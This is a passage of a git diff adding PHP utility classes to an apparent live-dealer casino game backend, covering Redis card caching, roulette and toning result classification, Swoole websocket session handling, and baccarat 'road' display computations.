$v; + } + } + return $returnArray + $beforeAmountArray; + } +} \ No newline at end of file diff --git a/freedom/utils/RedisUtil.php b/freedom/utils/RedisUtil.php new file mode 100644 index 0000000..f3e9a74 --- /dev/null +++ b/freedom/utils/RedisUtil.php @@ -0,0 +1,143 @@ +set('card_'.$numberTabId.'_'.$position,$card,$timeout); + if ($res){ + return true; + }else{ + return false; + } + } + + /** + * TODO 卡牌获取 + * @param int $numberTabId 局ID + * @return array; + */ + public static function getCardPosition(int $numberTabId): array + { + $card11 = Cache::store('redis')->get('card_'.$numberTabId.'_11'); + $card12 = Cache::store('redis')->get('card_'.$numberTabId.'_12'); + $card13 = Cache::store('redis')->get('card_'.$numberTabId.'_13'); + $card21 = Cache::store('redis')->get('card_'.$numberTabId.'_21'); + $card22 = Cache::store('redis')->get('card_'.$numberTabId.'_22'); + $card23 = Cache::store('redis')->get('card_'.$numberTabId.'_23'); + $cardInfoRedis = []; + if ($card11) $cardInfoRedis['player_1'] = $card11; + if ($card12) $cardInfoRedis['player_2'] = $card12; + if ($card13) $cardInfoRedis['player_3'] = $card13; + if ($card21) $cardInfoRedis['banker_1'] = $card21; + if ($card22) $cardInfoRedis['banker_2'] = $card22; + if ($card23) $cardInfoRedis['banker_3'] = $card23; + return $cardInfoRedis; + } + + /** + * TODO 卡牌缓存删除 + * @param int $numberTabId + * @return bool + */ + public static function deleteCardPosition(int $numberTabId): bool + { + Cache::store('redis')->delete('card_'.$numberTabId.'_11'); + Cache::store('redis')->delete('card_'.$numberTabId.'_12'); + Cache::store('redis')->delete('card_'.$numberTabId.'_13'); + Cache::store('redis')->delete('card_'.$numberTabId.'_21'); + Cache::store('redis')->delete('card_'.$numberTabId.'_22'); + Cache::store('redis')->delete('card_'.$numberTabId.'_23'); + return true; + } + + /** + * TODO 卡牌保存 + * @param int $numberTabId 局ID + * @param array $array 卡牌数组 + * @param int $timeout 过期时间,默认3天 + * @return bool; + */ + public static function saveCard(int $numberTabId, array $array, $timeout = 60*60*24*3): bool{ + $res = Cache::store('redis')->set('card_'.$numberTabId,json_encode($array),$timeout); + if ($res){ + return true; + }else{ + return false; + } + } + + /** + * TODO 卡牌获取 + * @param int $numberTabId 局ID + * @return array; + */ + public static function getCard(int $numberTabId): array{ + $cardInfoRedis = Cache::store('redis')->get('card_'.$numberTabId); + if ($cardInfoRedis){ + return json_decode($cardInfoRedis,true); + }else{ + return []; + } + } + + /** + * TODO 设置缓存 + * @param string $name 名称 + * @param string|int|bool $value 名称 + * @param int $waitTime 过期时间 + * @return bool; + */ + public static function save(string $name, $value, int $waitTime): bool + { + $res = Cache::store('redis')->set($name,$value,$waitTime); + if ($res){ + return true; + }else{ + return false; + } + } + + /** + * TODO 删除缓存 + * @param string $name 名称 + * @return bool; + */ + public static function delete(string $name): bool + { + $res = Cache::store('redis')->delete($name); + if ($res){ + return true; + }else{ + return false; + } + } + + /** + * TODO 获取缓存 + * @param string $name 名称 + * @return string; + */ + public static function get(string $name): string + { + return Cache::store('redis')->get($name); + } +} \ No newline at end of file diff --git a/freedom/utils/RouletteUtil.php b/freedom/utils/RouletteUtil.php new file mode 100644 index 0000000..b9f19f8 --- /dev/null +++ b/freedom/utils/RouletteUtil.php @@ -0,0 +1,129 @@ += 1 && $result <= 18) { + $returnArray[] = 'low'; + } + if ($result >= 19 && $result <= 36) { + $returnArray[] = 'high'; + } + if ($result % 2 == 0) { + $returnArray[] = 'even'; + } else { + $returnArray[] = 'odd'; + } + if(in_array($result,[1,3,5,7,9,12,14,16,18,19,21,23,25,27,30,32,34,36])){ + $returnArray[] = 'red'; + } + if(in_array($result,[2,4,6,8,10,11,13,15,17,20,22,24,26,28,29,31,33,35])){ + $returnArray[] = 'black'; + } + } else { + $returnArray[] = 'zero'; + } + return $returnArray; + } + + /** + * 统计自增方法 + * @param $beforeCountArray + * @param $afterCountArray + * @return int[] + */ + public static function countInc($beforeCountArray, $afterCountArray): array + { + if (empty($beforeCountArray)){ + $beforeCountArray = ['low' => 0, 'high' => 0, 'odd' => 0, 'even' => 0, 'red' => 0, 'black' => 0, 'zero' => 0]; + } + foreach ($beforeCountArray as $k => $v){ + if (in_array($k, $afterCountArray)){ + $beforeCountArray[$k] = $v + 1; + } + } + return $beforeCountArray; + } + + + /** + * 分析结果 控制端传入一个数 方法对其分析 输出结果 + * @param $resultArray + * @return array + */ + public static function parseResult($result): array + { + // 返回数组 + $returnArray = []; + $returnArray[] = 'straight_'.$result; + if ($result != 0) { + if ($result >= 1 && $result <= 18) { + $returnArray[] = 'low'; + } + if ($result >= 19 && $result <= 36) { + $returnArray[] = 'high'; + } + if ($result % 2 == 0) { + $returnArray[] = 'even'; + } else { + $returnArray[] = 'odd'; + } + if (in_array($result,[1,3,5,7,9,12,14,16,18,19,21,23,25,27,30,32,34,36])) { + $returnArray[] = 'red'; + } + if (in_array($result,[2,4,6,8,10,11,13,15,17,20,22,24,26,28,29,31,33,35])) { + $returnArray[] = 'black'; + } + if (in_array($result,[1,4,7,10,13,16,19,22,25,28,31,34])) { + $returnArray[] = 'column_1'; + } + if (in_array($result,[2,5,8,11,14,17,20,23,26,29,32,35])) { + $returnArray[] = 'column_2'; + } + if (in_array($result,[3,6,9,12,15,18,21,24,27,30,33,36])) { + $returnArray[] = 'column_3'; + } + if ($result >= 1 && $result <= 12) { + $returnArray[] = 'dozen_1'; + } + if ($result >= 13 && $result <= 24) { + $returnArray[] = 'dozen_2'; + } + if ($result >= 25 && $result <= 36) { + $returnArray[] = 'dozen_3'; + } + } + return $returnArray; + } + + /** + * 下注额自增方法 + * @param $beforeAmountArray + * @param $afterAmountArray + * @return array + */ + public static function amountInc($beforeAmountArray, $afterAmountArray): array + { + $returnArray = []; + foreach ($afterAmountArray as $k => $v){ + if (array_key_exists($k, $beforeAmountArray)){ + $returnArray[$k] = $beforeAmountArray[$k] + $v; + unset($beforeAmountArray[$k]); + } else { + $returnArray[$k] = $v; + } + } + return $returnArray + $beforeAmountArray; + } +} \ No newline at end of file diff --git a/freedom/utils/SocketSession.php b/freedom/utils/SocketSession.php new file mode 100644 index 0000000..7f524ca --- /dev/null +++ b/freedom/utils/SocketSession.php @@ -0,0 +1,342 @@ +getSender(); + //保存信息到table + $tableFd = app('swoole.table.fd'); + if($mode == 'space'){ + $tableSpace = app('swoole.table.space'); + $tableId = $event['table_id']; + $tableName = $event['table_name']; + //查找原本是否有登录 + $spaceInfo = $tableSpace->get((string) $tableId); + if(!empty($spaceInfo)){ + $tableSpace->del((string) $tableId); + $tableFd->del((string) $spaceInfo['fd']); + $ws->setSender(0)->to($spaceInfo['fd'])->emit('RepeatedEntry',['status' => true, 'msg' => 'repeated_entry']); + } + $tableFd->set((string) $fd,[ + 'mode' => 'space', + 'table_id' => $tableId, + 'table_name' => $tableName, + ]); + $tableSpace->set((string) $tableId,[ + 'fd' => $fd, + 'mode' => 'space', + 'table_name' => $tableName, + ]); + $ws->join(self::SPACE_ROOM_NAME); + }elseif($mode == 'scan'){ + $tableScan = app('swoole.table.scan'); + $appid = $event['appid']; + //查找原本是否有登录 + $scanInfo = $tableScan->get((string) $appid); + if(!empty($scanInfo)){ + $tableScan->del((string) $appid); + $tableFd->del((string) $scanInfo['fd']); + $ws->setSender(0)->to($scanInfo['fd'])->emit('RepeatedEntry',['status' => true, 'msg' => 'repeated_entry']); + } + $tableFd->set((string) $fd,[ + 'mode' => 'scan', + 'scan_appid' => $appid, + ]); + $tableScan->set((string) $appid,[ + 'fd' => $fd, + 'mode' => 'scan', + 'appid' => $appid, + ]); + $ws->join(self::SCAN_ROOM_NAME); + }elseif($mode == 'user'){ + $tableUser = app('swoole.table.user'); + $user_id = $event['user_id']; + $username = $event['username']; + //查找原本是否有登录 + $userInfo = $tableUser->get((string) $user_id); + if(!empty($userInfo)){ + $tableUser->del((string) $user_id); + $tableFd->del((string) $userInfo['fd']); + $ws->setSender(0)->to($userInfo['fd'])->emit('RepeatedEntry',['status' => true, 'msg' => 'repeated_entry']); + } + $tableFd->set((string) $fd,[ + 'mode' => 'user', + 'user_id' => $user_id, + 'username' => $username, + ]); + $tableUser->set((string) $user_id,[ + 'fd' => $fd, + 'mode' => 'user', + 'username' => $username, + 'isToBet' => 1, + 'toBetTime' => time(), + 'isToRob' => 1, + 'toRobTime' => time(), + 'isToCancelBet' => 1, + 'toCancelBetTime' => time(), + 'isToSeat' => 1, + 'toSeatTime' => time(), + 'isToLeaveSeat' => 1, + 'toLeaveSeatTime' => time(), + ]); + $ws->join(self::USER_ROOM_NAME); + } elseif ($mode == 'api'){ + $tableApi = app('swoole.table.api'); + $appid = $event['appid']; + //查找原本是否有登录 + $apiInfo = $tableApi->get((string) $appid); + if(empty($scanInfo)){ + $tableApi->del((string) $appid); + $tableFd->del((string) $apiInfo['fd']); + } + $tableFd->set((string) $fd,[ + 'mode' => 'scan', + 'api_appid' => $appid, + ]); + $tableApi->set((string) $appid,[ + 'fd' => $fd, + 'mode' => 'api', + 'appid' => $appid, + ]); + $ws->join(self::API_ROOM_NAME); + } elseif ($mode == 'manager'){ + $tableManager = app('swoole.table.manager'); + $user_id = $event['user_id']; + $username = $event['username']; + + //查找原本是否有登录 + $userInfo = $tableManager->get((string) $user_id); + + if(!empty($userInfo)){ + $tableManager->del((string) $user_id); + $tableFd->del((string) $userInfo['fd']); + $ws->setSender(0)->to($userInfo['fd'])->emit('RepeatedEntry',['status' => true, 'msg' => 'repeated_entry']); + } + $tableFd->set((string) $fd,[ + 'mode' => 'manager', + 'user_id' => $user_id, + 'username' => $username, + ]); + + $tableManager->set((string) $user_id,[ + 'fd' => $fd, + 'mode' => 'manager', + 'username' => $username, + ]); + //电投用 + $ws->join(self::MANAGER_ROOM_NAME); + } + //加入房子 + $ws->join(self::HOUSE_NAME); + } + + /** + * TODO 检查房间是否存在有效连接 + * @param int $fd + * @param string $mode + * @return bool; + */ + public static function checkSocketSession(int $fd, string $mode): bool + { + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string) $fd); + if(!empty($fdInfo)){ + if($mode == 'space' || $mode == 'sb'){ + $tableSpace = app('swoole.table.space'); + $spaceInfo = $tableSpace->get((string) $fdInfo['table_id']); + if(!empty($spaceInfo)){ + return true; + }else{ + return false; + } + }elseif($mode == 'scan'){ + $tableScan = app('swoole.table.scan'); + $scanInfo = $tableScan->get((string) $fdInfo['scan_appid']); + if(!empty($scanInfo)){ + return true; + }else{ + return false; + } + }elseif($mode == 'user'){ + $tableUser = app('swoole.table.user'); + $userInfo = $tableUser->get((string) $fdInfo['user_id']); + if(!empty($userInfo)){ + return true; + }else{ + return false; + } + }else{ + return false; + } + }else{ + return false; + } + } + + /** + * TODO 事件执行的权限检查 + * @param array $event + * @param string $mode + * @return array; + */ + public static function preliminaryCheck(array $event, string $mode): array + { + $ws = app('\think\swoole\WebSocket'); + $tableId = intval($event['table_id']); + $tableInfo = Table::get($tableId); + if ($mode == 'scan' && $tableInfo['scanner_type'] == 2) { + $mode = 'sb'; + } + if(SocketSession::checkSocketSession(intval($ws->getSender()),$mode) == false) { + return ['status' => false, 'msg' => 'no_right']; + } + if(!$tableInfo) { + return ['status' => false, 'msg' => 'not_table_data']; + } + return ['status' => true, 'data' => $tableInfo]; + } + + /** + * TODO 检查是否重复提交 + * @param int $fd + * @param string $mode + * @param string $e + * @return bool; + */ + public static function checkRepeat(int $fd, string $mode, string $e): bool + { + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string) $fd); + if($mode == 'user'){ + $user_id = $fdInfo['user_id']; + $tableUser = app('swoole.table.user'); + $userInfo = $tableUser->get((string) $user_id); + if(!empty($userInfo)){ + if($e == 'isToBet'){ + if($userInfo['isToBet'] == 1 || $userInfo['toBetTime'] <= (time() - 10)){ + $userInfo['isToBet'] = 0; + $userInfo['toBetTime'] = time(); + $tableUser->set((string) $user_id, $userInfo); + return true; + }else{ + return false; + } + }elseif($e == 'isToRob'){ + if($userInfo['isToRob'] == 1 || $userInfo['toRobTime'] <= (time() - 10)){ + $userInfo['isToRob'] = 0; + $userInfo['toRobTime'] = time(); + $tableUser->set((string) $user_id, $userInfo); + return true; + }else{ + return false; + } + }elseif($e == 'isToCancelBet'){ + if($userInfo['isToCancelBet'] == 1 || $userInfo['toCancelBetTime'] <= (time() - 10)){ + $userInfo['isToCancelBet'] = 0; + $userInfo['toCancelBetTime'] = time(); + $tableUser->set((string) $user_id, $userInfo); + return true; + }else{ + return false; + } + }elseif($e == 'isToSeat'){ + if($userInfo['isToSeat'] == 1 || $userInfo['toSeatTime'] <= (time() - 10)){ + $userInfo['isToSeat'] = 0; + $userInfo['toSeatTime'] = time(); + $tableUser->set((string) $user_id, $userInfo); + return true; + }else{ + return false; + } + }elseif($e == 'isToLeaveSeat'){ + if($userInfo['isToLeaveSeat'] == 1 || $userInfo['toLeaveSeatTime'] <= (time() - 10)){ + $userInfo['isToLeaveSeat'] = 0; + $userInfo['toLeaveSeatTime'] = time(); + $tableUser->set((string) $user_id, $userInfo); + return true; + }else{ + return false; + } + }else{ + return false; + } + }else{ + return false; + } + }elseif($mode == 'space'){ + return false; + }else{ + return false; + } + } + /** + * TODO 重置重复值 + * @param int $fd + * @param string $mode + * @param string $e + * @return void; + */ + public static function resetRepeat(int $fd, string $mode, string $e) + { + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string) $fd); + if($mode == 'user'){ + $user_id = $fdInfo['user_id']; + $tableUser = app('swoole.table.user'); + $userInfo = $tableUser->get((string) $user_id); + $userInfo[$e] = 1; + $tableUser->set((string) $user_id, $userInfo); + } + } +} \ No newline at end of file diff --git a/freedom/utils/ToningUtil.php b/freedom/utils/ToningUtil.php new file mode 100644 index 0000000..8a471fe --- /dev/null +++ b/freedom/utils/ToningUtil.php @@ -0,0 +1,114 @@ + 0, + 'one_count' => 0, + 'two_count' => 0, + 'three_count' => 0, + 'four_count' => 0, + 'big_count' => 0, + 'small_count' => 0, + 'singular_count' => 0, + 'plural_count' => 0 + ]; + if ($result == 0){ + $array['zero_count'] = 1; + $array['small_count'] = 1; + $array['plural_count'] = 1; + } + if ($result == 1){ + $array['one_count'] = 1; + $array['small_count'] = 1; + $array['singular_count'] = 1; + } + if ($result == 2){ + $array['two_count'] = 1; + } + if ($result == 3){ + $array['three_count'] = 1; + $array['big_count'] = 1; + $array['singular_count'] = 1; + } + if ($result == 4){ + $array['four_count'] = 1; + $array['big_count'] = 1; + $array['plural_count'] = 1; + } + $afterCountArray = string_to_array($afterCountString); + foreach ($array as $k => $v){ + foreach ($afterCountArray as $key => $value){ + if ($k == $key){ + $array[$k] = $v + intval($value); + } + } + } + return $array; + } + + /** + * 下注额自增方法 + * @param $beforeAmountArray + * @param $afterAmountArray + * @return array + */ + public static function amountInc($beforeAmountArray, $afterAmountArray): array + { + if (empty($beforeAmountArray)){ + $beforeAmountArray = [ + 'toning_zero' => 0, + 'toning_four' => 0, + 'toning_one' => 0, + 'toning_three' => 0, + 'toning_big' => 0, + 'toning_small' => 0, + 'toning_singular' => 0, + 'toning_plural' => 0 + ]; + } + $returnArray = []; + foreach ($beforeAmountArray as $k => $v){ + foreach ($afterAmountArray as $key => $value){ + if ($k == $key){ + $returnArray[$k] = intval($v) + intval($value); + } + } + } + return $returnArray; + } + + /** + * 结果汇总字符串转数组 + * @param $countString + * @return array + */ + public static function parseCount($countString): array + { + if (empty($countString)){ + return [ + 'zero_count' => 0, + 'one_count' => 0, + 'two_count' => 0, + 'three_count' => 0, + 'four_count' => 0, + 'big_count' => 0, + 'small_count' => 0, + 'singular_count' => 0, + 'plural_count' => 0 + ]; + } else { + return string_to_array($countString); + } + } +} diff --git a/freedom/utils/Waybill.php b/freedom/utils/Waybill.php new file mode 100644 index 0000000..3beb2cb --- /dev/null +++ b/freedom/utils/Waybill.php @@ -0,0 +1,506 @@ + $v){ + foreach($v as $key => $val){ + $pushData = array('show_x' => $k + 1, 'show_y' =>$key + 1, 'result' => $val['toning_result']); + array_push($showRoadLocation,$pushData); + } + } + /**************************** 计算 showRoad end ***************************/ + return (['status'=>true,'msg'=>'数据存在','waybill'=>$showRoadLocation]); + } + + /** + * TODO Roulette露珠获取定位方法 + * @param array $ns 局数组 + * @return array; + */ + public static function waybillRoulette(array $ns): array + { + /**************************** 计算 showRoad start ***************************/ + $showRoad = array_chunk($ns,6); + $showRoadLocation = array(); + foreach($showRoad as $k => $v){ + foreach($v as $key => $val){ + $pushData = array('show_x' => $k + 1, 'show_y' =>$key + 1, 'result' => $val['roulette_result']); + array_push($showRoadLocation,$pushData); + } + } + /**************************** 计算 showRoad end ***************************/ + return (['status'=>true,'msg'=>'数据存在','waybill'=>$showRoadLocation]); + } + /** + * TODO Nn&Tc露珠获取定位方法 + * @param array $ns 局数组 + * @return array; + */ + public static function waybillNn(array $ns): array + { + $showRoadLocation = array(); + foreach($ns as $k => $v){ + $pushData2 = array('show_x' => $k + 1, 'show_y' =>2,'type' => 2, 'result' => $v['result_player_1'], 'is_win' => $v['win_player_1']); + $pushData3 = array('show_x' => $k + 1, 'show_y' =>3,'type' => 2, 'result' => $v['result_player_2'], 'is_win' => $v['win_player_2']); + $pushData4 = array('show_x' => $k + 1, 'show_y' =>4,'type' => 2, 'result' => $v['result_player_3'], 'is_win' => $v['win_player_3']); + if($v['win_player_1'] == 0 && $v['win_player_2'] == 0 && $v['win_player_3'] == 0){ + $banker_win = 1; + }else{ + $banker_win = 0; + } + $pushData1 = array('show_x' => $k + 1, 'show_y' =>1,'type' => 1, 'result' => $v['result_banker'], 'is_win' => $banker_win); + array_push($showRoadLocation,$pushData1); + array_push($showRoadLocation,$pushData2); + array_push($showRoadLocation,$pushData3); + array_push($showRoadLocation,$pushData4); + } + return (['status'=>true,'msg'=>'数据存在','waybill'=>$showRoadLocation]); + } + /** + * TODO DT&Baccarat露珠获取定位方法 + * @param array $ns 局数组 + * @return array; + */ + public static function waybill(array $ns): array + { + /**************************** 计算 sanxingRoad start ***************************/ + $sanxingRoad = array(); + $firstTieNum = 0; + $isFirst = true; + $num = 0; + foreach($ns AS $v){ + if($isFirst == true){ + if($v['result'] == 3){ + $firstTieNum++; + }elseif($v['result'] == 1 || $v['result'] == 2){ + $v['tie_num'] = $firstTieNum; + $sanxingRoad[$num] = $v; + $isFirst = false; + $num++; + } + }else{ + if($v['result'] == 3){ + $sanxingRoad[$num-1]['tie_num'] = $sanxingRoad[$num-1]['tie_num'] + 1; + }elseif($v['result'] == 1 || $v['result'] == 2){ + $v['tie_num'] = 0; + $sanxingRoad[] = $v; + $num++; + } + } + } + $sanxingRoad = array_chunk($sanxingRoad,3); + $sanxingRoadLocation = array(); + foreach($sanxingRoad AS $k => $v){ + foreach($v as $key => $val){ + $pushData = array('show_x' => $k + 1, 'show_y' =>$key + 1, 'result' => $val['result'], 'pair' => $val['pair'], 'tie_num' => $val['tie_num']); + array_push($sanxingRoadLocation,$pushData); + } + } + /**************************** 计算 sanxingRoad end ***************************/ + /**************************** 计算 showRoad start ***************************/ + $showRoad = array_chunk($ns,6); + $showRoadLocation = array(); + foreach($showRoad as $k => $v){ + foreach($v as $key => $val){ + $pushData = array('show_x' => $k + 1, 'show_y' =>$key + 1, 'result' => $val['result'], 'pair' => $val['pair']); + array_push($showRoadLocation,$pushData); + } + } + /**************************** 计算 showRoad end ***************************/ + $bigRoad = array(); + $bigEyeRoad = array(); + $pathway = array(); + $roach = array(); + /**************************** 计算 bigRoad start ***************************/ + //列 + $yKey = 0; + //行 + $xKey = 0; + $last = array(); + foreach($ns AS $key => $value){ + if($value['pair'] == 1){ + $pair = 1; + }elseif($value['pair'] == 2){ + $pair = 2; + }elseif($value['pair'] == 3){ + $pair = 3; + }else{ + $pair = 0; + } + if($key == 0 && $value['result'] == 3){ + $bigRoad[$yKey][$xKey] = array('result' => 3, 'tie_num' => 1, 'pair' => $pair); + $last = array('yKey' => $yKey, 'xKey' => $xKey); + }elseif($yKey == 0 && $xKey == 0 && !empty($last) && $value['result'] != 3){ + $bigRoad[$last['yKey']][$last['xKey']]['result'] = $value['result']; + $bigRoad[$last['yKey']][$last['xKey']]['pair'] = $value['pair']; + if(isset($ns[$key+1]) && $ns[$key+1]['result'] != $bigRoad[$last['yKey']][$last['xKey']]['result'] && $ns[$key+1]['result'] != 3){ + $yKey++; + $xKey = 0; + }elseif(isset($ns[$key+1]) && $ns[$key+1]['result'] == $bigRoad[$last['yKey']][$last['xKey']]['result'] && $ns[$key+1]['result'] != 3){ + $xKey++; + } + $last = array('yKey' => $yKey, 'xKey' => $xKey); + }elseif($key > 0 && $value['result'] == 3){ + $bigRoad[$last['yKey']][$last['xKey']]['tie_num'] = $bigRoad[$last['yKey']][$last['xKey']]['tie_num'] + 1; + if(isset($ns[$key+1]) && $ns[$key+1]['result'] != $bigRoad[$last['yKey']][$last['xKey']]['result'] && $ns[$key+1]['result'] != 3 && $bigRoad[$last['yKey']][$last['xKey']]['result'] != 3){ + $yKey++; + $xKey = 0; + }elseif(isset($ns[$key+1]) && $ns[$key+1]['result'] == $bigRoad[$last['yKey']][$last['xKey']]['result'] && $ns[$key+1]['result'] != 3 && $bigRoad[$last['yKey']][$last['xKey']]['result'] != 3){ + $xKey++; + } + $last = array('yKey' => $last['yKey'], 'xKey' => $last['xKey']); + }else{ + $bigRoad[$yKey][$xKey] = array('result' => $value['result'], 'tie_num' => 0, 'pair' => $pair); + if(isset($ns[$key+1]) && $ns[$key+1]['result'] != $bigRoad[$yKey][$xKey]['result'] && $ns[$key+1]['result'] != 3){ + $yKey++; + $xKey = 0; + }elseif(isset($ns[$key+1]) && $ns[$key+1]['result'] == $bigRoad[$yKey][$xKey]['result'] && $ns[$key+1]['result'] != 3){ + $xKey++; + } + $last = array('yKey' => $yKey, 'xKey' => $xKey); + } + } + //重新计算坐标 + $bigRoadLocation = array(); + $occupy = array(); + foreach($bigRoad AS $key => $value){ + $swerve = false; + $swerveY = $key; + foreach($value AS $k => $v){ + $show_y = $key; + $show_x = $k; + if($show_x > 5 && $swerve === false){ + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = 5; + array_push($occupy,$show_y.'-'.$show_x); + }elseif(in_array($show_y.'-'.$show_x,$occupy)){ + if($swerve === false){ + $swerve = $show_x - 1; + } + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = $swerve; + array_push($occupy,$show_y.'-'.$show_x); + }elseif($swerve !== false){ + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = $swerve; + array_push($occupy,$show_y.'-'.$show_x); + } + $pushArray = array('show_x' => $show_y+1, 'show_y' => $show_x+1, 'result' => $v['result'], 'pair' => $v['pair'], 'tie_num' => $v['tie_num']); + array_push($bigRoadLocation,$pushArray); + } + } + /**************************** 计算 bigRoad end ***************************/ + /**************************** 计算 bigEyeRoad start ***************************/ + $bigEyeRoadStart = false; + $bigEyeRoadYKey = 0; + $bigEyeRoadXKey = 0; + $bigEyeRoadLast = array(); + foreach($bigRoad AS $key => $value){ + foreach($value AS $k => $v){ + if($key == 1 && $k == 1 && isset($bigRoad[1][1])){ + if(isset($bigRoad[0][1])){ + $bigEyeRoad[0][0] = array('result' => 1); + }else{ + $bigEyeRoad[0][0] = array('result' => 2); + } + $bigEyeRoadStart = true; + $bigEyeRoadLast = $bigEyeRoad[0][0]; + continue; + } + if($key == 2 && $k == 0 && !isset($bigEyeRoad[0][0])){ + if(isset($bigRoad[0]) && isset($bigRoad[1]) && count($bigRoad[0]) == count($bigRoad[1])){ + $bigEyeRoad[0][0] = array('result' => 1); + }else{ + $bigEyeRoad[0][0] = array('result' => 2); + } + $bigEyeRoadStart = true; + $bigEyeRoadLast = $bigEyeRoad[0][0]; + continue; + } + if($bigEyeRoadStart == true){ + if($k == 0){ //第一个 + $p1 = $key - 1; + $p2 = $key - 2; + if(count($bigRoad[$p1]) == count($bigRoad[$p2])){ + $bigEyeRoadPushData = array('result' => 1); + }else{ + $bigEyeRoadPushData = array('result' => 2); + } + }elseif($k == 1){ //第二个 + if(isset($bigRoad[$key-1][$k])){ + $bigEyeRoadPushData = array('result' => 1); + }else{ + $bigEyeRoadPushData = array('result' => 2); + } + }else{ //第三个或者之后那些 + if(isset($bigRoad[$key-1][$k-1]) && !isset($bigRoad[$key-1][$k])){ + $bigEyeRoadPushData = array('result' => 2); + }else{ + $bigEyeRoadPushData = array('result' => 1); + } + } + if($bigEyeRoadLast['result'] == $bigEyeRoadPushData['result']){ + $bigEyeRoadXKey++; + }else{ + $bigEyeRoadYKey++; + $bigEyeRoadXKey = 0; + } + $bigEyeRoad[$bigEyeRoadYKey][$bigEyeRoadXKey] = $bigEyeRoadPushData; + $bigEyeRoadLast = $bigEyeRoadPushData; + } + } + } + //重新计算坐标 + $bigEyeRoadLocation = array(); + $occupyEye = array(); + foreach($bigEyeRoad AS $key => $value){ + $swerve = false; + $swerveY = $key; + foreach($value AS $k => $v){ + $show_y = $key; + $show_x = $k; + if($show_x > 5 && $swerve === false){ + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = 5; + array_push($occupyEye,$show_y.'-'.$show_x); + }elseif(in_array($show_y.'-'.$show_x,$occupyEye)){ + if($swerve === false){ + $swerve = $show_x - 1; + } + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = $swerve; + array_push($occupyEye,$show_y.'-'.$show_x); + }elseif($swerve !== false){ + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = $swerve; + array_push($occupyEye,$show_y.'-'.$show_x); + } + $pushArray = array('show_x' => $show_y+1, 'show_y' => $show_x+1, 'result' => $v['result']); + array_push($bigEyeRoadLocation,$pushArray); + } + } + /**************************** 计算 bigEyeRoad end ***************************/ + /**************************** 计算 pathway start ***************************/ + $pathwayStart = false; + $pathwayYKey = 0; + $pathwayXKey = 0; + $pathwayLast = array(); + foreach($bigRoad AS $key => $value){ + foreach($value AS $k => $v){ + if($key == 2 && $k == 1 && isset($bigRoad[2][1])){ + if(isset($bigRoad[0][1])){ + $pathway[0][0] = array('result' => 1); + }else{ + $pathway[0][0] = array('result' => 2); + } + $pathwayStart = true; + $pathwayLast = $pathway[0][0]; + continue; + } + if($key == 3 && $k == 0 && !isset($pathway[0][0])){ + if(isset($bigRoad[0]) && isset($bigRoad[2]) && count($bigRoad[0]) == count($bigRoad[2])){ + $pathway[0][0] = array('result' => 1); + }else{ + $pathway[0][0] = array('result' => 2); + } + $pathwayStart = true; + $pathwayLast = $pathway[0][0]; + continue; + } + if($pathwayStart == true){ + if($k == 0){ //第一个 + $p1 = $key - 1; + $p2 = $key - 3; + if(count($bigRoad[$p1]) == count($bigRoad[$p2])){ + $pushData = array('result' => 1); + }else{ + $pushData = array('result' => 2); + } + }elseif($k == 1){ //第二个 + if(isset($bigRoad[$key-2][$k])){ + $pushData = array('result' => 1); + }else{ + $pushData = array('result' => 2); + } + }else{ //第三个或者之后那些 + if(isset($bigRoad[$key-2][$k-1]) && !isset($bigRoad[$key-2][$k])){ + $pushData = array('result' => 2); + }else{ + $pushData = array('result' => 1); + } + } + if($pathwayLast['result'] == $pushData['result']){ + $pathwayXKey++; + }else{ + $pathwayYKey++; + $pathwayXKey = 0; + } + $pathway[$pathwayYKey][$pathwayXKey] = $pushData; + $pathwayLast = $pushData; + } + } + } + //echo "
";
+        //print_r($pathway);
+        //echo "
"; + //exit(); + //重新计算坐标 + $pathwayLocation = array(); + $occupyPathway = array(); + foreach($pathway AS $key => $value){ + $swerve = false; + $swerveY = $key; + foreach($value AS $k => $v){ + $show_y = $key; + $show_x = $k; + if($show_x > 5 && $swerve === false){ + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = 5; + array_push($occupyPathway,$show_y.'-'.$show_x); + }elseif(in_array($show_y.'-'.$show_x,$occupyPathway)){ + if($swerve === false){ + $swerve = $show_x - 1; + } + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = $swerve; + array_push($occupyPathway,$show_y.'-'.$show_x); + }elseif($swerve !== false){ + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = $swerve; + array_push($occupyPathway,$show_y.'-'.$show_x); + } + $pushArray = array('show_x' => $show_y+1, 'show_y' => $show_x+1, 'result' => $v['result']); + array_push($pathwayLocation,$pushArray); + } + } + /**************************** 计算 pathway end ***************************/ + /**************************** 计算 roach start ***************************/ + $roachStart = false; + $roachYKey = 0; + $roachXKey = 0; + $roachLast = array(); + foreach($bigRoad AS $key => $value){ + foreach($value AS $k => $v){ + if($key == 3 && $k == 1 && isset($bigRoad[3][1])){ + if(isset($bigRoad[0][1])){ + $roach[0][0] = array('result' => 1); + }else{ + $roach[0][0] = array('result' => 2); + } + $roachStart = true; + $roachLast = $roach[0][0]; + continue; + } + if($key == 4 && $k == 0 && !isset($roach[0][0])){ + if(isset($bigRoad[0]) && isset($bigRoad[3]) && count($bigRoad[0]) == count($bigRoad[3])){ + $roach[0][0] = array('result' => 1); + }else{ + $roach[0][0] = array('result' => 2); + } + $roachStart = true; + $roachLast = $roach[0][0]; + continue; + } + if($roachStart == true){ + if($k == 0){ //第一个 + $p1 = $key - 1; + $p2 = $key - 4; + if(count($bigRoad[$p1]) == count($bigRoad[$p2])){ + $pushData = array('result' => 1); + }else{ + $pushData = array('result' => 2); + } + }elseif($k == 1){ //第二个 + if(isset($bigRoad[$key-3][$k])){ + $pushData = array('result' => 1); + }else{ + $pushData = array('result' => 2); + } + }else{ //第三个或者之后那些 + if(isset($bigRoad[$key-3][$k-1]) && !isset($bigRoad[$key-3][$k])){ + $pushData = array('result' => 2); + }else{ + $pushData = array('result' => 1); + } + } + if($roachLast['result'] == $pushData['result']){ + $roachXKey++; + }else{ + $roachYKey++; + $roachXKey = 0; + 